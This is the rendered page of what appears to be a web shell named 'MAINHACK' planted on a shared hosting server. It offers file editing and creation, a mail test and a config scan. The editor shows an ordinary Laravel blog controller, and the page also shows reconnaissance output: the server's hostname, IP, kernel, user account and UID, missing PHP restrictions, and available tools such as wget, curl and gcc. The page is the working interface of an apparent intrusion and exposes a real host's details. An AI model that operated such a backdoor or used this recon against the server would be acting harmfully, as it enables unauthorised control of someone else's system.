[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: BlogController.php
<?php namespace App\Http\Controllers\Web; use App\Http\Controllers\Controller; use App\Models\Blog; use App\Models\BlogCategory; use App\Models\Translation\BlogTranslation; use Illuminate\Http\Request; class BlogController extends Controller { public function index(Request $request, $category = null) { $author = $request->get('author', null); $search = $request->get('search', null); $seoSettings = getSeoMetas('blog'); $pageTitle = !empty($seoSettings['title']) ? $seoSettings['title'] : trans('home.blog'); $pageDescription = !empty($seoSettings['description']) ? $seoSettings['description'] : trans('home.blog'); $pageRobot = getPageRobot('blog'); $blogCategories = BlogCategory::all(); $query = Blog::where('status', 'publish') ->orderBy('updated_at', 'desc') ->orderBy('created_at', 'desc'); if (!empty($category)) { $blogCategory = $blogCategories->where('slug', $category)->first(); if (!empty($blogCategory)) { $query->where('category_id', $blogCategory->id); $pageTitle .= ' ' . $blogCategory->title; $pageDescription .= ' ' . $blogCategory->title; } } if (!empty($author) and is_numeric($author)) { $query->where('author_id', $author); } if (!empty($search)) { $query->whereTranslationLike('title', "%$search%"); } $blogCount = $query->count(); $blog = $query->with([ 'category', 'author' => function ($query) { $query->select('id', 'full_name', 'avatar', 'role_id', 'role_name'); } ]) ->withCount('comments') ->paginate(6); $popularPosts = $this->getPopularPosts(); $data = [ 'pageTitle' => $pageTitle, 'pageDescription' => $pageDescription, 'pageRobot' => $pageRobot, 'blog' => $blog, 'blogCount' => $blogCount, 'blogCategories' => $blogCategories, 'popularPosts' => $popularPosts, ]; return view(getTemplate() . '.blog.index', $data); } public function show($slug) { if (!empty($slug)) { $post = Blog::where('slug', $slug) ->where('status', 'publish') ->with([ 'category', 'author' => function ($query) { $query->select('id', 'full_name', 'role_id', 'avatar', 'role_name'); $query->with('role'); }, 'comments' => function ($query) { $query->where('status', 'active'); $query->whereNull('reply_id'); $query->with([ 'user' => function ($query) { $query->select('id', 'full_name', 'avatar', 'avatar_settings', 'role_id', 'role_name'); }, 'replies' => function ($query) { $query->where('status', 'active'); $query->with([ 'user' => function ($query) { $query->select('id', 'full_name', 'avatar', 'avatar_settings', 'role_id', 'role_name'); } ]); } ]); }]) ->first(); if (!empty($post)) { $post->update(['visit_count' => $post->visit_count + 1]); $blogCategories = BlogCategory::all(); $popularPosts = $this->getPopularPosts(); $pageRobot = getPageRobot('blog'); $data = [ 'pageTitle' => $post->title, 'pageDescription' => $post->meta_description, 'pageMetaImage' => $post->image, 'blogCategories' => $blogCategories, 'popularPosts' => $popularPosts, 'pageRobot' => $pageRobot, 'post' => $post ]; return view(getTemplate() . '.blog.show', $data); } if (!empty($translate)) { app()->setLocale($translate->locale); } } abort(404); } private function getPopularPosts() { return Blog::where('status', 'publish') ->orderBy('visit_count', 'desc') ->limit(5) ->get(); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285